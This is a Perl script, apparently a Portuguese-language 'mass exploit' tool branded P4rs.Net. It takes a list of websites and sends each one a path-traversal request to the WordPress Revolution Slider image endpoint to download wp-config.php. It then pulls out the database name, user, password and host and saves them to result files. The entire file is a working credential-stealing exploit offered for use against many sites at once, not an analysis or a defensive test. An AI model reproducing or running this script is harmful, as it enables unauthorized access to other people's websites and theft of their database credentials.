#!/usr/bin/perl
# *** P4rs.Net ***

use Win32::Console::ANSI;
use Term::ANSIColor;
use LWP::UserAgent;
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
my $script = 'MASS REVSLIDER';
$res="Result";
    if (-e $res)
    {
    }
    else
    {
        mkdir $res or die "Nao Foi Possivel Criar Diretorio: $res";
    }
print "\n";
print colored (  "                    --=[Exploit Mass Get Config]=--                  ",'bold on_green'),"\n";
print colored (  "                     --=[*** P4s.Net ***]=--                   ",'bold on_green'),"\n";
print"\n";
print "\n";
print colored ("LISTA DE SITES:",'bold on_yellow ')," ";
chomp(my $lista=<STDIN>);
open (my $lista,'<',$lista) || die "\n [Lista Nao Encontrada]";
my @lista = <$lista>;
foreach $site(@lista) {
if($site !~ /http:\/\//) { $site = "http://$site"; };
getconfig ();
}
sub getconfig{
print colored ("\nTESTANDO SITE ==> $site",'bold on_blue'),"";
$ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
$ua->timeout (10);
$config = "wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";
$conflink = "$site/$config";
$resp = $ua->request(HTTP::Request->new(GET => $conflink ));
$conttt = $resp->content;
if($conttt =~ m/DB_NAME/g){
    open(save, '>>Result/Vulneraveis.txt');
    print save "[rev confg] $site\n";
    close(save);
$resp = $ua->request(HTTP::Request->new(GET => $conflink ));
$cont = $resp->content;
print colored ("[EXTRAINDO INFORMACAO]",'bold on_green'),"\n";sleep(1);
while($cont =~ m/DB_NAME/g){
        if ($cont =~ /DB_NAME\', \'(.*)\'\)/){
        print color("bold on_red"),"[-]Database Name = $1 \n";
print color 'reset';
        open (TEXT, '>>Result/databases.txt');
        print TEXT "\n[ DATABASE ] \n$site\n[-]Database Name = $1";
        close (TEXT);
        }
        if ($cont =~ /DB_USER\', \'(.*)\'\)/){
        print color("bold on_yellow"),"[-]Database User = $1 \n";
print color 'reset';
        open (TEXT, '>>Result/databases.txt');
        print TEXT "\n[-]Database User = $1";
        close (TEXT)
        }
        if ($cont =~ /DB_PASSWORD\', \'(.*)\'\)/){
        print color("bold on_red"),"[-]Database Password = $1 \n";
print color 'reset';
        $pass= $1 ;
        open (TEXT, '>>Result/databases.txt');
        print TEXT "\nDatabase Password = $pass";
        close (TEXT)
        }
        if ($cont =~ /DB_HOST\', \'(.*)\'\)/){
        print color("bold on_yellow"),"[-]Database Host = $1 \n";
print color 'reset';
        open (TEXT, '>>Result/databases.txt');
        print TEXT "\n[-]Database Host = $1";
        close (TEXT)
        }
}
}else{
print colored ("[NAO VULNERAVEL]",'bold on_red'),"";
}
}